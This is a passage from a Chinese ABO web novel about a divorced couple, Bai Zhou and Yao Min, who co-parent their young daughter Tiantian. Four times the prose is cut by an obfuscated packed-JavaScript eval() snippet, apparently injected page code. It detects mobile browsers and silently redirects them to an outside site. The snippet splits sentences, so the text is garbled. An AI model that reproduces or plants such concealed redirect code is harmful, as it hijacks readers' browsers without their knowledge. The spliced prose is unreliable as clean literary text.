;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728494|189567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上的血色淡了些,显然是有些害怕,她手里还拿着不知从哪儿捡来的拖鞋,像举了把枪一样指着她,试探性地要往外走。 “……” 赵知起身走过去,一把抓住女人的手,将人又带进了电梯里。 “你的包。”赵知把包包递给她。 司凡缩在角落里,认出了她的眼镜,试探地喊了一声:“赵医生?” 赵知拿下口罩,看一眼她手里的拖鞋,“司小姐好胆量啊。” 一个Omega就敢追了下来。 她刚从白舟家回来,电梯一打开就看到司凡坐在走廊的长椅上‘发呆’,连手边的包包被人偷偷拿走了都不知道,本来不想多管闲事的,但白舟说过:好人之间要互帮互助。 于是赵知没出电梯,看着偷包的人进了电梯,她偷偷站到角落里,等待机会‘助人为乐’。 司凡翻了翻手里的包,确认里面的东西没少之后,松了口气,笑意吟吟地对赵知道谢,还说要请她吃饭。 赵知对着她弯弯的眼睛看了一会儿,鬼使神差地点头,说:“我今晚有时间。” 像上赶着一样,赵知扶了扶眼镜,掩下一点不自在。 司凡笑了笑,“好,那就今晚。” 其实,上次和司凡相亲,她挺满意对方的,但对方好像不太满意她。 赵知心情不错地回了科室,想到刚刚那一幕,她在电梯里看到姚悯了,对方拿着一堆包装潦草的抑制剂。 她常年在医院工作,自然知道这种需要使用大量抑制剂的人是什么情况,但她不知道姚悯这是个什么情况。 据今天所了解的信息来看,姚悯是独自一人带着甜甜的,甜甜这么小肯定用不上,那么就是姚悯在用这些抑制剂,以前可从未听白舟说过姚悯需要一直打抑制剂的情况。 赵知想到今早白舟对姚悯的态度,显然是还没放下的,又有了孩子,更难放下了,她叹了口气,给白舟发消息,把姚悯的情况跟她提了下。 遇到一个喜欢的人不容易啊。 白舟收到消息的时候正在和相亲对象见面,她看一眼消息,脸颊的梨涡渐渐平滑下来。 姚悯在一直在打抑制剂? 可她以前连一次都没发现过。 是离婚前就在打了?还是离婚后发生了什么,让她需要打这么多的抑制剂? 赵知说需要打抑制剂是因为信息素紊乱的原因,而信息素紊乱分好几种情况,最严重的一种是会控制不住地发情。 白舟没有过失控发情的时候,但她亲眼目睹过发情的人,能让一个端庄的人丢掉体面做出不堪的行为。 姚悯……会有失控的时候吗?都有及时打抑制剂吗? 她的从容,她的体面……都还在吗? 白舟伸舌润了润干燥的唇,立马打电话给赵知,却在抬头看到对面的人后,又挂断,改为发消息。 “你没事吧?”李桐给她倒了杯水,“看你的嘴唇很白,喝点水吧。” 白舟道谢,一边等赵知的消息,一边心神不宁地抿着水。 这一幕恰巧落在了等红绿灯的姚悯眼里。 15. 已经有别的Omega了吗 原来,已经有别的Omega了吗。 姚悯抿抿唇,绿灯后,收回视线,开车离去。 车里有些闷,姚悯摇下车窗,混着泥土的草木气息扑面而来,驱散了她心里的一些躁意。 回到家,姚悯看了下时间,快三点了,这个时间甜甜应该还在睡午觉。 三点半的时候,姚悯吩咐生活机器人做了个儿童下午餐,然后按响隔壁的门铃。 这是她第一次进白舟的家门,宅院很大,种了好几种水果,院子里摆着两把大藤椅和一把小藤椅,小藤椅看着很新,应该是为甜甜准备的。 姚悯跟着机器人来到客厅,没一会儿白望抱着懒怠怠的甜甜出来,甜甜一看到妈咪,立马朝她伸出两只小短手,“妈咪,抱抱。” 声音还带着刚睡醒的软糯。 姚悯温柔地抿唇笑笑,伸手接过她抱在怀里,“今天玩得开不开心呀?” 加了语气助词,无论是声音还是脸上的表情,都很温柔,完全符合长辈们心目中的媳妇人选。 白望有些诧异,仅从视频里见过的样子,姚悯可与‘温柔’二字相差甚远。 她眼里的姚悯,冷淡、强势,完全不像会喜欢上谁的样子,也就白舟那傻丫头屁颠屁颠跟在人家后面。 但现在,白望对自己以前的固板印象有了一点改观,她觉得也许姚悯以前的表达方式只是比较内敛,有了孩子之后才选择外放一些,毕竟小孩子是需要别人很明显地对她好,她才能感受到自己是被爱着的。 姚悯是位好妈咪。 白望有些替白舟感到可惜了,她对自己的老婆从一而终,自然也希望自己的后代能够像她一样,拥有一个懂得互相欣赏的老婆,再生几个可爱的孩子,健康快乐地生活。 “白奶奶,那我先带甜甜回去吃下午餐了,下次再让她过来陪您。”姚悯一脸平静地看向白望,语气却是轻柔的。 “哎哎,好,有空多过来,你忙的时候也可以把甜甜送到我这里来,我最喜欢和甜甜玩了。” 不知是不是心理原因,白望越看姚悯越觉得喜欢,长相大气漂亮,气质也无可挑剔,能对孩子这么有耐心的人差不到哪里去。 姚悯应了声“好”,转头轻摇了摇女儿,“甜甜,对太奶奶说拜拜。” 姚望白抬起小胖手放在唇边送了个飞吻给白望,“太奶奶下次见。” “哎,真乖。”白望被哄开心了,摸摸她的头。 然而,回到家才彻底醒神的姚望白开始觉得委屈,她瘪着嘴跟姚悯告状,“妈咪,妈妈,不见,不见妈妈。” 姚悯微怔,想起回来时看到的那一幕,白舟早晚会和别人组建新家庭,早晚会和别人生下另一个孩子,那她还会对甜甜很好吗? 依照甜甜现在喜欢她的程度,到时看到她的妈妈宠爱另一个孩子,她应该会很难过吧。 “甜甜,你妈妈有自己的生活,等她有空了就会来找你玩的,咱们甜甜无聊了就多去找太奶奶玩好不好呀。” 姚悯不喜欢为未发生的事做下百分百的判断,更不会阻止女儿去向另一个妈妈寻求母爱。 很多事情,在你懂得和不懂得、主动与被动的时候,都要有一个选择,一个会尝到各种滋味的选择,所以不是重大事件的话,姚悯不会干预女儿去体验这一切。 乖乖吃饱饱后,姚望白哒哒哒跑进房间抱着个相框出来摆在地上,一边玩玩具,一边看看相片。 对于她的习惯,姚悯早已习惯,无奈地摇摇头,陪着她一起玩乐高。 天将暗未暗时,白舟来了,视线飘忽不定地往她脖子看,眼神明显得像个流氓,姚悯拿下头上的夹子,一头乌黑头发披散在肩头,掩住微微发烫的腺体。 “还没到甜甜睡觉的时间。”她淡声说道。 意思是你来早了。 白舟却敏锐地从她的语气里察觉到一丝丝凉意,好像不待见她一样,明明早上还只是把她当陌生人对待,现在却好像要往讨厌的人发展了。 她哪里得罪她了吗? 应该没有吧。 白舟摘下头上的草帽,拨了拨头发,“我想甜甜了,提前来看看她不行吗?” 语气学着她,没有一点温度。 姚悯抿唇,须臾,松开扶在门上的手。 白舟对上她幽潭般的眼眸,心头陡然微颤,换作以前她就认怂了,现在她只觉得有点不服气。 这个女人每次觉得她烦了就这样看着她,以前她认怂是因为她爱她,让着她,但现在她不想认怂了。 白舟擦着她的肩走进去,直奔客厅,独留一缕草木香烫了一下姚悯的腺体。 关门,回客厅,姚悯找了个离白舟远一点的位置坐下。 她看着母女俩相处的样子,觉得白舟现在的神情有些熟悉,脸上梨涡浅浅,眼里带着些宠溺,很有耐心的样子,恍惚想起离婚前白舟也是这么对她的。 原来那些被她忽视的曾经,身体会替她记得。 “妈咪,来玩呀。” 软软的小奶音扯走姚悯的思绪,她看过去,眼神在玩乐高的白舟身上掠过,说:“甜甜和妈妈玩吧,妈咪要去叫大白煮晚饭了。” 带了点哄的语气,像阵柔风一样吹进白舟的耳朵,她的脊背忽地麻了下。 原来她也可以很温柔。 白舟的余光飘向厨房,姚悯侧身靠在灶台边,给生活机器人下发完指令还站在那儿,过了会儿,可能是找不到事做了,她洗起了青菜。 可能是没怎么做过这样的活,她洗得很笨拙,水溅了出来,她身上的裙子瞬间透明了几团。 忽然,白舟对上一双探究的眼眸,心陡然漏了好几拍。 偷看被发现了。 她慌乱地移开视线,之后,心脏就没平息下来过。 甜甜的腿挪了个位置,露出一张照片,是她和姚悯的婚纱照,上面的自己笑得很灿烂,而姚悯虽然没什么表情,但眼神却是比平常要柔和两分。 白舟瞬间想了很多,姚悯为什么还留着她们的婚纱照?是不是也在怀念?是不是也在不舍? 念头刚起,白舟心底就有一簇碳火被风吹了一下,冉冉升起半缕烟,好像有团火苗在挣扎着要绽放。 真的放下了吗? 真的甘心吗? 真的没有可能了吗? 白舟在心底问自己。 她不甘心,可也不想再继续追逐。 “妈妈,堆高高。” 白舟回神,低头对女儿笑笑,摸摸她的小脑袋后,握着她的小手教她拼乐高。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728495|189567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为来得巧,白舟被留了饭,她诧异地看向姚悯,但对方好像只是出于礼貌客套一下,因为姚悯只拿了一副碗筷和一套儿童餐具出来。 平常她也是个识相的人,遇到这种情况通常都会跟对方客套回去,但对象换成姚悯后,她忽然就想逗一下对方。 “好呀,这副碗筷是给我吗,谢谢啊。” 白舟梨涡浅浅地伸手想去拿她手里的碗筷,却抓了个空,她挑眉盯向姚悯的眼睛,仿佛在说:你个虚伪的女人。 很鲜活的表情,像能带动别人的情绪一样。 姚悯看着她顿了几秒,想靠近,但脖子隐隐的热感让她只能后退一步,“没有多余的碗筷了,你可以回家拿。” 白舟:“……” “妈咪,和甜甜,只有两个碗。” 姚望白坐在儿童椅上,仰着头,伸出两根小手指,扭着小眉毛证明妈咪没说谎。 原来不是客套吗? 白舟有些尴尬了,特意回家拿碗筷过来,好像显得她没脸没皮似的。 不过她现在也不是很饿,可以晚点再吃。 白舟捏捏甜甜的小脸蛋,笑着说:“这样啊,那你们吃吧,我在这坐一会儿,等一下和甜甜去找太奶奶玩好不好呀?” 甜甜露出小牙齿,“好呀。” “你可以跟她直接说,她知道的。”姚悯还是给她拿了个菜碟子,盛好饭摆在她面前,“用勺子吃吧。” 白舟微愣,看着面前的白米饭忽然有些鼻酸,这是姚悯第一次给她盛饭,像一缕迟到的贴心,明晃晃地让她感受,扯线条般引.诱着她。 “谢谢。”她说。 有些客气的两个字,姚悯微顿,没说什么。 白舟的情绪来得快,去得也快,几十秒过去,她热热的眼眶变凉了,心思也活络起来。 她很想问一问婚纱照的事,但又怕答案不是她想要的,问了糟心,于是她把主意打到小甜甜身上,虽然孩子还小,但应该知道不少事了。 白舟当着姚悯的面殷切地给甜甜夹菜,挑鱼刺,哄着、诱着,终于把人哄得愿意跟她回家睡觉觉了。 她把饭吃完了,但这个生活机器人做的菜不太好吃,白舟没吃几口菜,不过甜甜却吃得津津有味,姚悯也吃得慢条斯理,似乎很合她们的口味。 是吃习惯了吗? 以前姚悯的嘴可刁了,色香味少一个她都不吃,现在却能一口一口地吃着这些有些淡的菜,白舟忽然有些替她们感到委屈,觉得这三年她们肯定吃了不少苦。 姚悯看着她微红的眼眶,有些无语,不明白她无缘无故怎么又一副要哭了的样子。 这时,甜甜忽然夹了个肉丸举到白舟面前,“妈妈,好吃。” 白舟:“……” 女儿第一次喂她吃菜,再难吃也要吃下去,白舟张嘴咬下,昧着良心说了句“很好吃”,但她的眼神却透露出些许心酸。 白舟的情绪一向都有些外放,对于她时而眉眼弯弯,时而秀眉微蹙的样子,姚悯有些好奇她在想什么。 随即,她又笑笑自己,当真是生活闲下来了,开始关注别人了。 “我刚刚看到婚纱照了。” 白舟还是没忍住,问了出来,“你为什么还留着呢?” 16. 她没见过这么爱哭的Alpha 觉得姚悯可能过得不太好,白舟心软了一下,和她说话也不端着了,但也没有像从前那样说一句给个笑脸,说一句眼睛就亮亮地看着她,只是很平静地,像和不太熟的人正常聊天一样。 姚悯放下筷子,拿纸巾擦了擦嘴,对于她的问题不知道怎么回答,当年收拾东西的时候,鬼使神差就把这些照片都收走了,却一直没拿出来看过,直到甜甜有一天问她要妈妈的时候,她才把照片拿出来。 “不知道。”姚悯如实说。 不知道? 白舟扭头看着她,见她神情不似敷衍作假后,心里松了口气,没有再多问。 婚纱照是看到了问一问也正常,但问太多其他的,就显得她旧情难忘,姚悯会怎么看她?会觉得她有死缠烂打的嫌疑吗? 毕竟当初要离婚的是她,现在还纠结过去,想死缠烂打,太难看了。 白舟并不想自己在对方心里落下这么个印象。 姚悯给甜甜洗香香的时候,白舟坐在沙发上等,眼神看似放空,实际已经在客厅里仔仔细细地看过一遍了,没有任何Alpha生活在这里的痕迹。 所以,她的前妻姐目前应该还是单身。 要说她心里没点想法,那是假的,只是她也不敢靠太近了。爱,真的好难,不敢进一步,退一步又舍不得。 姚悯抱着甜甜出来看到的就是,白舟躺在沙发,单手枕在脑后,眼神直勾勾地看着天花板,不知道在想些什么。 这一幕也有些熟悉,以前她下班回到家,白舟偶尔也是这样,好似有什么烦心事一样。 但那时的她整天乐呵呵的,能有什么烦心事呢? 而现在……她又有什么烦心事呢? 姚悯放下甜甜,甜甜立马哒哒哒地奔向白舟,一头扑进她怀里,“妈妈,香香。” 笑得“咯咯”的。 白舟不自觉就露出小梨涡,双手举起她,拿额头蹭了蹭她小身子上的痒痒肉,逗得甜甜一边“咯咯”笑,一边捧着她的头往外推。 姚悯站在一米开外看着,眼神柔和。 暖黄色的灯光落在她们身上,像幸福具象了一样。 玩闹了一会儿,白舟抱着甜甜站起来,回头,毫无防备就撞入了姚悯充满爱意的眼神里。 她的心瞬间被钟椎狠狠撞了一下,贪念在她体内声声回响,每一声都在叫嚣着“抓住她”。 白舟往前走了两步,上头的情绪在对方后退一步的距离里转瞬即逝,姚悯很平静地望着她,她才惊醒。 ——刚刚对方看的是甜甜,只有甜甜。 白舟抿抿唇,拿额头碰了碰女儿的脸脸,轻声说:“甜甜,跟妈咪说明天见。” 但姚望白第一次离开妈咪的怀抱,有些舍不得,瘪瘪嘴,拿润润的眼睛看着白舟。 白舟挺多时候都有点烦自己这共情能力的,但现在她却有些庆幸自己还有共情的能力,让她能清晰地感受到甜甜对姚悯的依赖,又能清晰地感受到甜甜对她的喜爱。 她知道甜甜为难了,在想去和想留之间挣扎。 白舟不忍心看她为难,正想把女儿还给姚悯时,姚悯忽然靠了过来,亲亲甜甜的脸蛋,“去吧,妈妈也在爱着你。” 这次白舟很清晰地闻到了,和姚悯一样清雅的雪莲香,但她的心却在为姚悯说的话而疯狂跳动。 怎么会有人离婚后会对孩子说“妈妈也在爱着你”,怎么会有人愿意替前妻在孩子面前说好话,怎么会有人在孩子未记事前大大方方地给孩子看前妻的照片,让孩子一直记得前妻,第一次见面就能欢欢喜喜地冲上前。 白舟突然发现,她好像有点不了解姚悯了,不了解当妈咪之后的姚悯。 但,这样的姚悯同样让她心动。 得到妈咪的鼓励后,甜甜跟着白舟回家了,白望看见后,立马“宝贝宝贝”地喊,还想跟白舟抢孩子,却被白舟撒娇卖萌打发走了。 洗完澡,白舟给甜甜当了一会儿马,刚开始还能听见“咯咯咯”的笑声,没多久笑声就停了,她回头一看,甜甜趴在她背上睡着了。 “……” 她还有好多问题没问呢。 比如:之前在哪里生活?过得好不好?有没有受欺负? 但她看着睡得香甜的小脸,又觉得两岁多能记住什么呢。 白舟给女儿掖了掖被子,发现她偶尔会吮下嘴唇,这是什么睡觉习惯?吮久了不会把下唇给吮得凹进去吧? 她有点担心,于是在群里@了白衣天使——赵知,问她【小孩子睡觉吮下唇会变丑吗?】,赵知可能是嫉妒她有个乖女儿,回了三个字【可能会】。 神经。 白舟不爱搭理这个没有女儿的人,复制了自己的信息转发给奶奶,奶奶说可能是缺乏安全感,让她释放点信息素安抚一下,但她不敢乱动,又把和奶奶的对话截图发给姚悯,问她【可以吗?】 她和姚悯的联系是刚刚加上的,拿了孩子当借口,方便以后了解孩子的情况。 姚悯回她可以,白舟这才小心翼翼地引出一点草木香,渐渐地,甜甜果然不吮嘴唇了。 随即,她又想到姚悯,现在还会不会需要她的信息素安抚?她不在的那几年对方是怎么挨过去的? 白舟想了很多,半夜才迷迷糊糊睡去,但又怕自己睡觉不老实压到小甜甜,所以她睡得不是很安稳。 天蒙蒙亮,她又被身边一直蛄蛹的小家伙吵醒了,白舟勉强睁开眼,两只小脚丫正怼在她鼻头。 “……” 白舟伸手挠了挠她的小脚丫,一阵“嘻嘻”从被子里传出来,小脚丫也缩了回去。 不一会儿,小家伙蛄蛹蛄蛹,塌塌的被子鼓起一个小包,白舟从被沿的缝隙里看到撑着被子的两只小手,亮晶晶的两只大眼睛,圆圆的脸正对着她笑。 跟个糯米团子似的。 白舟一颗新手妈妈的心怎么抵抗得了,呲牙一笑,大手一伸就要去抓她,甜甜立马开心地尖叫一声,蛄蛹着往被子里钻。 一分钟后,甜甜被白舟抓了出来,脸蛋粉扑扑的,对着白舟傻笑,白舟问她笑什么,甜甜捧着她的脸说:“甜甜好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728496|189567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幸福啊。” 白舟心头一软,抱着她亲了亲脸蛋。 她也感觉到幸福了。 天刚亮,白舟就把早餐做好了,是一锅青菜牛肉粥,特意做多了一点,想着等甜甜吃完要回家时就给姚悯送过去,没想到甜甜乖乖吃饱后还不想回去,她要跟着太奶奶去钓鱼。 “……” 白舟看着她小小一只,举着双小手蹦蹦跳跳,心想鱼钓你还差不多。 她看一眼时间,七点半,外面已经响起机械突突的噪音了,再磨蹭下去,姚悯的生活机器人该给她做早餐了。 白舟端着一碗粥站到姚悯家门口,看着这个素颜也这么好看的女人,尤其是她戴着眼镜的样子,完完全全戳中了她的XP。 但白舟还记得她们现在是离了婚的关系,她收敛了下眼神,把粥递过去,“这是甜甜给你留的早餐,她现在跟着奶奶钓鱼呢,托我给你送过来。” 一开口就撇清了自己的关系。 姚悯垂下眼皮看了眼,肉粥上面铺了个……爱心形的煎蛋。 白舟见她盯着那个煎蛋看,心里微紧,用满不在意的语气解释:“这个,是甜甜拿模具煎出来的。” 看着姚悯将信将疑的样子,白舟心想:有孩子就是好。 “谢谢。”姚悯接过后,抬头看她,“今天甜甜先放在你那里吧。” 为什么?你要去哪儿? 白舟差点脱口而出,理智拉住了她,“也行,不过我今天要去农场工作,只能让奶奶陪她玩了。” 姚悯点点头,嘴唇蠕动了下,说:“别给她吃太多零食。” “……” 被发现了? 不可能吧。 白舟心虚地眼神往旁边瞥了眼,又移回来,试探性地说:“没有吃很多。” 姚悯抬手扶了下眼镜,“甜甜身体不太好,零食吃多了容易生病,上次回来就拉肚子了。” 对方明明没有责怪的意思,白舟却开始自责起来。 姚悯看着这个有些手足无措的人,心里有些无奈,放缓了声音说:“她要是闹你的话,可以给一点点,尝尝味道就行了。” 上次她就在甜甜身上闻到了饼干和糖果的味道,那么大味儿,证明吃得并不少,一问,孩子什么都招了。 白舟微微低了下眼眸,心里有些不好受,她不知道甜甜身体不好,为什么不好,是哪里不好。 短短半分钟,白舟就脑补了一堆剧情,自己吓自己,她看着对方手里已经没什么热气冒出来的粥,说:“我能进去跟你聊聊吗?” 姚悯微顿,看了她好一会儿,发现她的眼睛好像有点红。 又要掉眼泪了吗? 姚悯发现白舟爱哭是因为以前下班回到家碰见过几次,客厅里悬浮着一面大大的投影,上面在放电影,剧情不是很感人,但白舟却哭得稀里哗啦,姚悯不是个感性的人,所以理解不了白舟的哭点在哪儿。 就像现在,她也同样理解不了白舟的眼眶为什么会红。 她没见过这么爱哭的Alpha。 17. 前妻姐来送饭了 “甜甜为什么身体不好?” 姚悯不喜欢吃着饭说话,所以白舟等她吃完了才问。 “甜甜是早产儿,刚出生时在医疗舱里住过一个多月。”姚悯双手交叉,松松摆在桌上,说话的语气像在说一件稀松平常的事一样。 白舟知道早产儿,各个器官都还没发育成熟就出生了,有很大的死亡概率,没死也可能会产生其他疾病。 “为什么,会早产呢?” 白舟的声音轻轻的,像从远处走来似的。 姚悯默了下,似叹息般说道:“遇到变异植物,受惊了。” 白舟放在腿上的双手握紧了拳,好似能想象到当时的画面,她低着头问道:“那现在,健康吗?” 仔细听,好像还有些鼻音。 姚悯默了默,看着她的头顶,眼里闪过一抹无奈,“还不错,只是免疫力会比正常小孩差了些。” 那你呢? 白舟在心里问道。 “有什么办法能提高免疫力吗?” 白舟说完好一会儿没听到声音,不由飞速眨了十几下眼睛,故作如常地抬头看她。 她不知道自己的眼睛有多红,也不知道自己的鼻头有多粉,更不知道姚悯见了她这副隐忍的模样,有些……想摸摸她的头,像摸甜甜一样安慰一下她。 姚悯的指头互相搓了搓手背,放柔了声音,“你有空给她喂点信息素吧,应该有点用。” “嗯。”白舟悄悄吸了下鼻子。 她有注意到姚悯轻柔的语气,却没心思心猿意马,她的心里有了另一个问题:你需要信息素吗? 但白舟不敢问,以她们现在的关系,问这个像是在耍流氓。 只是她在心疼甜甜的同时,也在心疼着姚悯,但她们离婚了,她可以明目张胆地对甜甜好,却不能对姚悯有任何越界的行为。 年轻时天不怕地不怕,可以拥着一腔热血往寒潭里扎,却在几年之后,怕这怕那,顾忌来顾忌去。 白舟在心里嘲笑了下自己,又向姚悯问了一些照顾甜甜时需要注意的事项后,没多留,拿着装了一腔怅惘的碗回家了。 来到小池子边上,白舟就看见奶奶又给甜甜投喂饼干,她三步并作两步跑过去,却是蹲在甜甜旁边,张大嘴巴,“啊,甜甜的饼干可以给妈妈吃吗?” 甜甜却是指指了地上的小篮子,娇娇地说:“这里有。” 那篮子里躺了小半筐乱七八糟的零食,白舟面色微僵,又看到她嘴边沾了不少饼干屑,突然伸出两根手指捏着她的衣服就开始撒娇,闹着要吃她手里的。 你能想象到一只小猫咪怀里捧着颗老虎头的画面吗? 白望简直不忍直视,伸手拍了白舟一下,“做什么呢?跟小孩子抢什么抢。” 白舟不理她,张嘴吃下小甜甜递到嘴边的饼干后,却见她又伸出小手去够篮子里的糖,白舟赶紧拦下她,干脆将人抱起,自己坐到了小椅子上,将女儿放在自己腿上。 “甜甜,这些零食吃多了上火,你现在还小,抵抗力跟不上,咱们少吃一点好吗?” 语气温和,有商有量的。 甜甜摸摸自己的小肚子,勉强点头,“好叭。” 白舟有些欣慰,觉得姚悯说的“会闹”完全是多虑了,她把小甜甜放回椅子上,凑近奶奶,在她耳边轻声把甜甜免疫力低的事简单地说了下,再三叮嘱她别再给甜甜吃零食后,拿着一小篮的零食离开去农场了。 她们公司有七台伐木机,但因为还接了别家的单,白舟这里就只有三台伐木机可以用,所以今天大概还要再干一天活,这几百亩的树才会被砍完。 白舟操控了其中一台伐木机,她虽然是老板之一,但接单干活也会有另外的工资,以前懒一点没关系,毕竟孤寡一只,而现在,她想好好挣钱了。 虽然现在依旧是只孤寡,但她有孩子啊。 白舟和赵梨梨坐在砍下来的树杆上,一边操控伐木机,一边跟她取经——如何养孩子。 但赵梨梨不太及格,她每天出去挣钱,很少在家陪老婆孩子,只会给她们买吃的,这些对白舟没什么用,甜甜不能随意吃垃圾食品,姚悯……唉! 一声叹息道尽无尽心酸。 姚悯看着唉声叹气的人,慢慢抿了一口茶,继续听她说:“你说她是不是有毛病呀,当初我巴巴追着她跑了两年,最后呢,她出国了,现在回国就想来找我谈恋爱,她是不是犯.贱呐。” 故事模式听着有些熟悉,姚悯心里不大自在,表面却气定神闲地喝着茶。 舒朝是她的表妹,小时候在她家住过几年,姚悯挺照顾她的,对方有什么也喜欢跟她说,现在舒朝要说的是,她舔了别人两年,放弃了,但是别人想舔回来,问她该怎么办?欣然接受觉得不值钱,别人也会轻视她,不接受又不甘心,毕竟确实挺喜欢的。 姚悯慢条斯理地放下茶杯,看了她好一会儿,在舒朝被看得毛毛的时候,她忽然问:“你追着她跑的时候是只图她的身子吗?” “……???” 舒朝觉得自己快不认识这个表姐了,以前的表姐哪会说这种话,她一边在心里惊疑,一边说:“那必然不是,我不仅图她的身子,我还图她的爱。” “……” 姚悯静默了一会儿,又问:“什么是爱?” “……???” 舒朝卡壳了几秒,震惊地看着这个结婚又离了婚的表姐,难以置信道:“你不知道?那你结婚生孩子做什么?” 婚礼现场她可是亲眼看见白舟笑得像个傻子似的,而姚悯虽然没那么夸张,但偶尔也会看着白舟抿唇笑,眼神还有那么一丝丝温柔,舒朝是不信她们之间没有爱的。 姚悯摩挲着佛珠,平静地望向她,说:“只是想问问你对爱的看法是什么而已。” 对她的问题避而不谈,还悄无声息地引导着她回到自己的问题上来。 舒朝刚大学毕业没几年,哪里想得到她的这些弯弯绕绕啊,顺着她就说:“大概就是仅仅是见到她这个人就觉得开心吧,看到她跟别人太亲密会不开心,她要走了会舍不得,抓心挠肝,挠心挠肺的。” 姚悯听完若有所思起来。 舒朝却还在继续吐槽她那想吃回头草的前女友,虽然语气嫌弃,却不难听出她话里的一丝丝喜意。 听了小半天对方的恋爱故事,姚悯看一眼时间,打断她的分享,“我该去接甜甜了,回来再聊。” 舒朝是今早过来的,打算在姚悯这里住几天,考察一下这个地方,能不能捣鼓点事业出来。 “也行,我等你们回来一起吃午饭。”舒朝说。 姚悯想了下,让她自己先吃,她都不知道能不能那么快回来呢。 白舟的奶奶热情得有些突然,姚悯刚来就被她拉着坐在甜甜旁边,一碗鱼汤也随之而来。 “来,尝尝这鱼汤,这可是小甜甜钓上来的呢,咱们的小甜甜可厉害了。”白望给她舀了碗鱼汤,顺带夸了下甜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728497|189567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甜。 “妈咪,快吃。”甜甜对着姚悯呲牙一乐。 姚悯抿唇笑笑,拿着小汤匙尝了尝,白望开心了,跟她说了很多关于白舟的事,比如:白舟有上千亩田地,还有两家小公司,一家合资的,另一家是独资,虽然不算大富大贵,但也算条件优渥,养家是不成问题的,喜欢与人为善,上进,有责任心等等 嗯,听着像是在介绍相亲对象,姚悯想。 但白望可能还不知道白舟已经有别的Omega了吧,姚悯也不打算说出来无端让人觉得尴尬,她默默给女儿夹了些菜,偶尔“嗯”一声,表示她在听。 她的回应可能是助长了白望想撮合的心思,吃完饭,白望就提着个食盒蹲在甜甜面前,笑着说:“甜甜,妈妈还没吃饭呢,甜甜和妈咪一起把饭给妈妈送去好不好呀?” “好呀。” 甜甜应得快,姚悯不好说什么,抿着唇接过食盒。 而白舟本来是想回家吃饭的,但她这边临时出了点意外,公司新来的员工因为工作经验较少,操作伐木机砍树的时候没判断好方位,导致砍下来的树枝压在了伐木机身上,出不来了。 新人都会出错,白舟能理解,就是赵梨梨脾气有些不好,逮着小林骂了几分钟,小林眼红红地就想进去把伐木机救出来,白舟赶紧拦下她。 “哎里面不是很安全,你先去吃饭吧,我来处理就好了。” 小林一面内疚,一面委屈,一面又怕公司要她赔钱,看向白舟的眼里既惶恐又不安,“真的没事吗?” “问题不大,别担心,快去吃饭吧。”白舟挥挥手。 小林垂头丧气地离开后,白舟叹口气,看向还臭着脸的赵梨梨,也能理解她,机器坏了公司就得花钱去修,赵梨梨身为老板之一,肯定是不乐意的。 嗯,赵梨梨还有点抠门。 白舟不是和事佬,没去招惹她,拿起遥控器操控另一台伐木机去把压住伐木机的树枝给砍成一截截,过程比较废技术,稍有不慎还会把机器给切到。 不过最后,伐木机晃晃悠悠出来的时候,只有被树枝刮花的痕迹,别的没什么损坏了,赵梨梨看上几眼又埋怨了小林几句,白舟不搭腔,她自讨没趣,转身就走了。 白舟也打算回家吃饭了,转身却看到李桐开着小电驴停在了她面前。 “还没吃饭吧,我给你带了点吃的过来。”李桐笑着对她举了举手里的饭盒。 “……???” 她们很熟吗? 白舟愣了十几秒,不明白她们只见过一次面,对方怎么就到了给她送饭的程度了。 “愣着干什么呀,快趁热吃呀。”李桐打开盒盖,拿了副筷子给她。 经过昨天的接触,李桐对她挺满意的,而她自己又是个行动派,在家等了一个晚上和一个早上,都没等来白舟的下一步动作后,便打算主动出击。 “那个,抱歉,我不能吃你的饭。”白舟拒绝了她的示好,还有些后悔昨天聊太多,把自己工作的地方暴露了,搞得现在有些尴尬。 李桐脸上的笑容僵了一下,正想问为什么,一声娇娇的“妈妈”打断了她,面前的人也立马露出一个可爱的梨涡,蹲下.身子抱起一个圆嘟嘟的小女孩。 